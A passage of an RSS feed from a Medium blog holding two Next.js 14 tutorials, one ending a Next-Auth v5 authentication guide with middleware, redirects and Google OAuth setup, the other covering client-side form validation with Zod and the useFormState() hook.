be accessible to authenticated users as they might contain user-specific or some other kind of sensitive data, user needs to login to be able to view this and we can verify if the user is logged in by checking if the session token is valid or not. For example: user dashboard page.</li><li><strong>Auth routes</strong> refer to login/register pages where the user is supposed to login credentials to verify his identity, these pages should only be visible to the user if the user is not logged in. If the user is logged in we redirect him back to the dashboard page, if the user wants to login using a different ID he needs to logout first to access an auth route. For example: login page.</li></ul><h3>Adding Middleware config</h3><p>Adding a middleware using Next-Auth is recommended and makes our job much easier, when configured the middleware acts as a filter through which all the requests go through. Here we can check which request belongs to which type of route and can handle them accordingly, below is an overview of how Middleware works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmbfmiyZuLpFZPHGRbOoAw.png" /><figcaption>Condensed view of the Middleware module</figcaption></figure><pre>import { auth } from &quot;@/auth&quot;;<br>import { privateRoutes, <br>         authRoutes, <br>         DEFAULT_REDIRECT_LOGIN_URL, <br>         DEFAULT_REDIRECT_HOME_URL } from &#39;./routes&#39;;<br><br>export const config = {<br>  matcher: [&quot;/((?!.+\\.[\\w]+$|_next).*)&quot;, &quot;/&quot;, &quot;/(api|trpc)(.*)&quot;],<br>}</pre><p>We also define a routes.js file along with middleware which contains all our private, public and protected routes.</p><p><strong>Note:</strong> This crazy looking regex basically matches every single request made to the server, meaning that every request has to go through the middleware checks. You can however define only private routes here, but the former gives you more control and is strongly advisable.</p><h4>Using Sessions to render data</h4><p>We can also use the session we created to pass user-specific information such as the username/email of the authenticated user. If we console.log() the session we just created we see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*yuFgk10oJGYR3Ayznlberw.png" /></figure><p>We get the username that we passed on successful login and the expiry time of the current token, we can also add additional information if we want from the authorize function in auth.js . We can use this information to display which user is logged in on the dashboard page or any other public/protected route.</p><h4>Adding redirects for protected and Auth routes</h4><p>The last thing to complete our Credentials Authentication is to set up redirect urls, these will be triggered in middleware.js based on the type of route and if the user session exists or not.</p><pre>// When user is not logged in and tries to access protected routes redirect to login page<br>export const DEFAULT_REDIRECT_LOGIN_URL = &#39;/login&#39;<br><br>// When user is logged in and tries to access login page redirect to dashboard<br>export const DEFAULT_REDIRECT_HOME_URL = &#39;/dashboard&#39;</pre><p>And now, we have successfully configured our Credentials Authentication using Next-Auth v5.</p><h3>Adding OAuth provider</h3><p>For our last act we just need to configure the OAuth providers we talked about so the user has the option of logging in via Credentials or through providers like Google, Github etc. With Next-Auth by our side adding OAuth is really a child’s play, Next-Auth provides a ton of OAuth options, but to keep this blog concise I’ll only demonstrate how to set up GoogleProvider.</p><p>From the Next-Auth official docs, we need a GOOGLE_CLIENT_ID and a GOOGLE_CLIENT_SECRET to set up our GoogleProvider, we can easily generate these by going to <a href="https://console.developers.google.com/apis/credentials">https://console.developers.google.com/apis/credentials</a> and making a new project. From this project we can generate OAuth 2.0 credentials, generate them and paste them in a .env file and don’t expose them anywhere.</p><p>While in development use localhost as your URI and http://localhost:3000/api/auth/callback/google as your redirect URI, this way every OAuth request is handled by auth.js file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*qJ72avXcnVqqCbVKK8tJmA.png" /><figcaption>Google Console settings for GoogleProvider</figcaption></figure><p>To trigger this we define a button for Google OAuth on our login page and when triggered this again invokes the signIn function we used earlier, we pass in the name of our provider along with a callbackUrl to redirect the user on successful login.</p><pre>signIn(&quot;google&quot;, { callbackUrl: &#39;http://localhost:3000/dashboard&#39;});</pre><p>And with that, we have successfully configured our Login through Credentials &amp; setup OAuth in just minutes Congrats! 🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*9wS1rs4-YMz09FAi2tdLCw.gif" /></figure><p>As usual, for all those bums who skipped through the blog and are just interested in the code, I’ve attached the source code below.</p><p><em>I hope you enjoyed reading this and I hope you have a great day! </em>😅</p><h3>Source Code:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*OMMsUVygvibbkTdnICuNaQ.jpeg" /></figure><p><a href="https://github.com/NikhilC2209/Next-Auth-v5">GitHub - NikhilC2209/Next-Auth-v5: A Sample Next app implementation of Next-Auth v5</a></p><h4>References:</h4><ul><li><strong>Next.js docs:</strong> <a href="https://nextjs.org/docs">https://nextjs.org/docs</a></li><li><strong>Next-Auth v5: </strong><a href="https://authjs.dev/guides/upgrade-to-v5">https://authjs.dev/guides/upgrade-to-v5</a></li><li><strong>Learn about jwt: </strong><a href="https://jwt.io/">https://jwt.io/</a></li></ul><h3>In Plain English 🚀</h3><p><em>Thank you for being a part of the </em><a href="https://plainenglish.io/"><strong><em>In Plain English</em></strong></a><em> community! Before you go:</em></p><ul><li>Be sure to <strong>clap</strong> and <strong>follow</strong> the writer ️👏<strong>️️</strong></li><li>Follow us: <a href="https://twitter.com/inPlainEngHQ"><strong>X</strong></a> | <a href="https://www.linkedin.com/company/inplainenglish/"><strong>LinkedIn</strong></a> | <a href="https://www.youtube.com/channel/UCtipWUghju290NWcn8jhyAw"><strong>YouTube</strong></a> | <a href="https://discord.gg/in-plain-english-709094664682340443"><strong>Discord</strong></a> | <a href="https://newsletter.plainenglish.io/"><strong>Newsletter</strong></a></li><li>Visit our other platforms: <a href="https://cofeed.app/"><strong>CoFeed</strong></a> | <a href="https://differ.blog/"><strong>Differ</strong></a></li><li>More content at <a href="https://plainenglish.io/"><strong>PlainEnglish.io</strong></a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70e7630ab1c2" width="1" height="1" alt=""><hr><p><a href="https://javascript.plainenglish.io/complete-authentication-guide-using-next-auth-v5-in-next-js-14-70e7630ab1c2">Complete Authentication Guide using Next-Auth v5 in Next.js 14</a> was originally published in <a href="https://javascript.plainenglish.io/">JavaScript in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Client Side Form Validation with Zod & useFormState() in Next.js 14]]></title>
            <link>https://javascript.plainenglish.io/client-side-form-validation-with-zod-useformstate-in-next-js-14-dc011a9c44fb?source=rss-b6aecb4000e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc011a9c44fb</guid>
            <category><![CDATA[react]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[flowbite]]></category>
            <category><![CDATA[front-end-development]]></category>
            <category><![CDATA[nextjs]]></category>
            <dc:creator><![CDATA[Nikhil Chapre]]></dc:creator>
            <pubDate>Mon, 26 Feb 2024 16:32:35 GMT</pubDate>
            <atom:updated>2024-03-20T21:36:54.971Z</atom:updated>
            <content:encoded><![CDATA[<p>Authentication in Web Apps is a crucial aspect for securing any Web Application and is a must-know for every Full-Stack developer out there. Though implementing Authentication for the first time can be an annoying experience for people(including me!) as there are so many libraries and strategies out there. So this is part one of a two-part blog I’m writing about implementing Complete Authentication in Next.js 14 using Next-Auth v5.</p><p>In this blog I’m going to talk about the easiest way in which you can handle form data in react and perform Client-side Validation in minutes using Zod.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yTnXWjd6Tkdr17HN.png" /></figure><h4>Creating Next app</h4><p>We’ll start by creating a Next-app from the terminal using the below command:</p><pre>npx create-next-app@latest</pre><p><strong>Note: Make sure you have Node.js 18.17(or higher) installed before running this.</strong></p><p>Similarly if you have Bun pre-installed instead of Node.js run this command:</p><pre>bunx create-next-app</pre><h3>Next.js Project Structure</h3><pre>my-app/<br>├── node-modules/<br>├── public/<br>├── src/<br>│   ├── app/<br>│   │   ├── layout.js<br>│   │   ├── page.js<br>│   │   └── globals.css<br>│   └── components/<br>├── .env<br>├── .gitignore<br>├── package.json<br>├── package-lock.json<br>└── tailwind.config.js<br><br>trailing &#39;/&#39; indicates a folder</pre><p>After creating our next app this is what our folder structure looks like for the project, this may seem overwhelming if you’re new to Next.js, but I’ll walk you through how simple this really is:</p><ul><li><strong>node-modules:</strong> if you’ve worked with Node.js before then this folder is self-explanatory, but if this is your first rodeo then this is where all the dependencies for our project are stored. Any external dependency we install using npm is imported from here.</li><li><strong>public:</strong> this folder is where we store all our static assets including images, videos, gifs or any other kind of documents such as pdf’s etc. <strong>which are not subject to change</strong>, since these files are cached to offer better performance.</li><li><strong>src:</strong> this folder is the heart of our application as this contains our frontend &amp; backend code in the form of .jsx or .tsx files. The app folder inside this contains all our routes for the application in the form of folders while the components folder contains all the custom reusable UI components such as buttons, cards etc.</li></ul><p>Each folder in the app directory denotes a route which can be accessed by going to /folder_name. The content of this page will be rendered from the file named as page.js , the file named layout.js defines a set of styles and UI components which will be rendered in every sub-route.</p><p>To know more about other files allowed by the App Router take a look at this from the official docs: <a href="https://nextjs.org/docs/getting-started/project-structure#routing-files">https://nextjs.org/docs/getting-started/project-structure#routing-files</a></p><ul><li><strong>.env:</strong> this file contains all the secret environment variables such as secret ID’s &amp; keys that are required to confirm your identity. Split this into .env.development.local and .env.production and <strong>never share this anywhere!</strong></li><li><strong>package.json &amp; package-lock.json:</strong> these files keep track of all the packages installed along their versions along with pre-defined scripts to run our project.</li><li><strong>tailwind.config.js: </strong>this file contains all the configurations which tailwind will look for to define any customizations.</li></ul><p>Now that we have this out of our way let’s fire up our server in development mode using npm run dev</p><p>PS: this command is a script alias defined in the package.json to run the next server in development mode.</p><h3>Adding Form page</h3><p>As discussed above, to create a new route we’ll create a new folder in the app directory named as login containing a file named page.js . Any code that we write here is rendered on /login .</p><p>We’ll look to create a simple form with Username &amp; Password to login as Credentials or the user can use Google, Github, Reddit &amp; Twitter as OAuth providers.</p><p>To quickly build our form page I’m using Tailwind components from Flowbite linked here: <a href="https://flowbite.com/docs/components/forms/">https://flowbite.com/docs/components/forms/</a></p><p>But you can use any component library you want, it really doesn’t matter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4pUgVvu6fMyGkp1qvtdkeg.png" /></figure><p>Finally, our page looks like this and now we can start working on it.</p><h3>Client side Form Validation</h3><p>This is the first step of validating our form data, this step ensures we perform primitive data validation before sending our data to the server. The easiest way to do this would be by using a third-party library like <strong>Zod.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*V_3NRp1Kj-niQieY.gif" /></figure><p>Nope, not my Kryptonian friend over here 😅</p><p>Zod is a TypeScript-first schema declaration and validation library and is super-easy to use.</p><p>Use npm install zod to quickly include Zod in your project setup</p><p>Zod provides a number of primitive values in its documentation for fields such as strings, numbers, boolean, date etc. We only have two fields both of which use string values so we can create separate schemas for both of them.</p><p>Zod also provides a lot of options for string validation out of the box as shown below which we can use along with the option of chaining all these arguments to be processed sequentially.</p><pre>z.string().min(5, { message: &quot;Must be 5 or more characters long&quot; });<br>z.string().max(5, { message: &quot;Must be 5 or fewer characters long&quot; });<br>z.string().length(5, { message: &quot;Must be exactly 5 characters long&quot; });<br>z.string().email({ message: &quot;Invalid email address&quot; });<br>z.string().url(https://medium.com/%7B%20message:%20&quot;Invalid%20url&quot;%20%7D);<br>z.string().emoji({ message: &quot;Contains non-emoji characters&quot; });<br>z.string().uuid({ message: &quot;Invalid UUID&quot; });<br>z.string().includes(&quot;tuna&quot;, { message: &quot;Must include tuna&quot; });<br>z.string().startsWith(&quot;https://&quot;, { message: &quot;Must provide secure URL&quot; });<br>z.string().endsWith(&quot;.com&quot;, { message: &quot;Only .com domains allowed&quot; });<br>z.string().datetime({ message: &quot;Invalid datetime string! Must be UTC.&quot; });<br>z.string().ip({ message: &quot;Invalid IP address&quot; });</pre><p><strong>A schema is an object which basically contains a set of rules defined with a data type that can be used to validate any kind of data passed to it.</strong></p><pre>const userSchema = z.string()<br>                    .min(5, { message: &quot;Must be 5 or more characters long&quot; });<br><br>const passSchema = z.string()<br>                    .min(8, { message: &quot;Must be 8 or more characters long&quot; })<br>                    .regex(new RegExp(&quot;.*[A-Z].*&quot;), { message: &quot;Must conatain one uppercase character&quot; })<br>                    .regex(new RegExp(&quot;.*\\d.*&quot;), { message: &quot;Must contains one number&quot; })<br>                    .regex(new RegExp(&quot;.*[`~&lt;&gt;?,./!@#$%^&amp;*()\\-_+=\&quot;&#39;|{}\\[\\];:\\\\].*&quot;), {message: &quot;Must contain one special character&quot;}); </pre><p>Example usage of this schema using <strong>.safeParse()</strong> method:</p><pre>userSchema.safeParse(&quot;user&quot;);         // ❌ { success: false; error: &quot;Must be 5 or more characters long&quot; }<br>userSchema.safeParse(&quot;Random&quot;);       // ✅ { success: true; data: Return &quot;Random&#39; }<br><br>passSchema.safeParse(&quot;pass&quot;);         // ❌ { success: false; error: &quot;Must be 8 or more characters long&quot; }<br>passSchema.safeParse(&quot;password&quot;);     // ❌ { success: false; error: &quot;Must conatain one uppercase character&quot; }<br>passSchema.safeParse(&quot;Password&quot;);     // ❌ { success: false; error: &quot;Must contains one number&quot; }<br>passSchema.safeParse(&quot;Password123&quot;);  // ❌ { success: false; error: &quot;Must contain one special character&quot; }<br>passSchema.safeParse(&quot;Password123*&quot;); // ✅ { success: true; data: &quot;Password123*&quot; }</pre><p>Now once we have defined this we just need to invoke this at every keyStroke for <strong>live validation</strong>, to do this we can use the onChange event to call a function that uses .safeParse() to validate the input data.</p><pre>&lt;input type=&quot;text&quot; name=&quot;username&quot; onChange={checkSchema} /&gt;</pre><h3>Getting Form Data</h3><p>Though there are number of ways of getting form data in React we’ll again talk about the easiest way to get formData in React. Months back React released a new hook called <strong>useFormState() </strong>which made interacting with forms a walk in the park.</p><pre>const [state, formAction] = useFormState(fn, initialState)</pre><p>From the official docs:</p><blockquote>The form state is the value returned by the action when the form was last submitted. If the form has not yet been submitted, it is the initial state that you pass.</blockquote><blockquote><strong>Parameters</strong></blockquote><blockquote>fn: The function to be called when the form is submitted or button pressed. When the function is called, it will receive the previous state of the form (initially the initialState that you pass, subsequently its previous return value) as its initial argument, followed by the arguments that a form action normally receives.</blockquote><blockquote>initialState: The value you want the state to be initially. It can be any serializable value. This argument is ignored after the action is first invoked.</blockquote><blockquote><strong>Returns</strong></blockquote><blockquote>useFormState returns an array with exactly two values:</blockquote><blockquote>The current state. During the first render, it will match the initialState you have passed. After the action is invoked, it will match the value returned by the action.</blockquote><blockquote>A new action that you can pass as the action prop to your form component or formAction prop to any button component within the form.</blockquote><p>To use this hook we just need to define the useFormState() hook with a function called handleCredentials that will be invoked whenever the form is submitted. Then we can simply use formData.get(&quot;input&quot;) to get data from that input field.</p><pre>const handleCredentials = async (prevState, formData) =&gt; {<br><br>  const response = await signIn(&quot;credentials&quot;, { <br>     username: formData.get(&quot;username&quot;),<br>     password: formData.get(&quot;password&quot;),<br>     redirect: false, <br>  });<br>  <br>  if(!!response.error) {<br>    setModal(true);<br>    setErrorMessage(&quot;Incorrect Username or Password&quot;);<br>    console.log(response.error);<br>  }<br>  else {<br>    router.push(&#39;/dashboard&#39;);<br>  }<br>}<br><br>const [state, formAction] = useFormState(handleCredentials, initialState);</pre><pre>&lt;form action={formAction}&gt;</pre><p>Once we have our verified our credentials on the client side we can then send it to the server for Server side validation to make sure the credentials entered are correct or not. Based on that request we’ll get a response, if the response contains an error message we’ll use a dismissible modal to display it.</p><p>So with this we have successfully configured Client-side Validation with Zod. For all those bums who skipped through the blog and are just interested in the code, I’ve attached the source code below.</p><p><em>I hope you enjoyed reading this and have a great day! </em>😅</p><h4>Source Code:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*OMMsUVygvibbkTdnICuNaQ.jpeg" /></figure><p><a href="https://github.com/NikhilC2209/Next-Auth-v5">GitHub - NikhilC2209/Next-Auth-v5: A Sample Next app implementation of Next-Auth v5</a></p><h4>References:</h4><ul><li><strong>useFormState() hook:</strong> <a href="https://react.dev/reference/react-dom/hooks/useFormState">https://react.dev/reference/react-dom/hooks/useFormState</a></li><li><strong>Zod:</strong> <a href="https://zod.dev/">https://zod.dev/</a></li><li><strong>Flowbite:</strong> <a href="https://flowbite.com/docs/getting-started/quickstart/">https://flowbite.com/docs/getting-started/quickstart/</a></li><li><strong>Next.js docs:</strong> <a href="https://nextjs.org/docs">https://nextjs.org/docs</a></li></ul><p><em>Next up, we’ll look to send form data to the server side and implement Authentication using Next-Auth v5</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*DqPaqJr_veut8_bv.gif" /></figure><h3>In Plain English 🚀</h3><p><em>Thank you for being a part of the </em><a href="https://plainenglish.io/"><strong><em>In Plain English</em></strong></a><em> community! Before you go:</em></p><ul><li>Be sure to <strong>clap</strong> and <strong>follow</strong> the writer ️👏<strong>️️</strong></li><li>Follow us: <a href="https://twitter.com/inPlainEngHQ"><strong>X</strong></a><strong> | </strong><a href="https://www.linkedin.com/company/inplainenglish/"><strong>LinkedIn</strong></a><strong> | </strong><a href="https://www.youtube.com/channel/UCtipWUghju290NWcn8jhyAw"><strong>YouTube</strong></a><strong> | </strong><a href="https://discord.gg/in-plain-english-709094664682340443"><strong>Discord</strong></a><strong> | </strong><a href="https://newsletter.plainenglish.io/"><strong>Newsletter</strong></a></li><li>Visit our other platforms: <a href="https://stackademic.com/"><strong>Stackademic</strong></a><strong> | </strong><a href="https://cofeed.app/"><strong>CoFeed</strong></a><strong> | </strong><a href="https://venturemagazine.net/"><strong>Venture</strong></a><strong> | </strong><a href="https://blog.cubed.run/"><strong>Cubed</strong></a></li><li>More content at <a href="https://plainenglish.io/"><strong>PlainEnglish.io</strong></a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc011a9c44fb" width="1" height="1" alt=""><hr><p><a href="https://javascript.plainenglish.io/client-side-form-validation-with-zod-useformstate-in-next-js-14-dc011a9c44fb">Client Side Form Validation with Zod &amp; useFormState() in Next.js 14</a> was originally published in <a href="https://javascript.plainenglish.io/">JavaScript in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>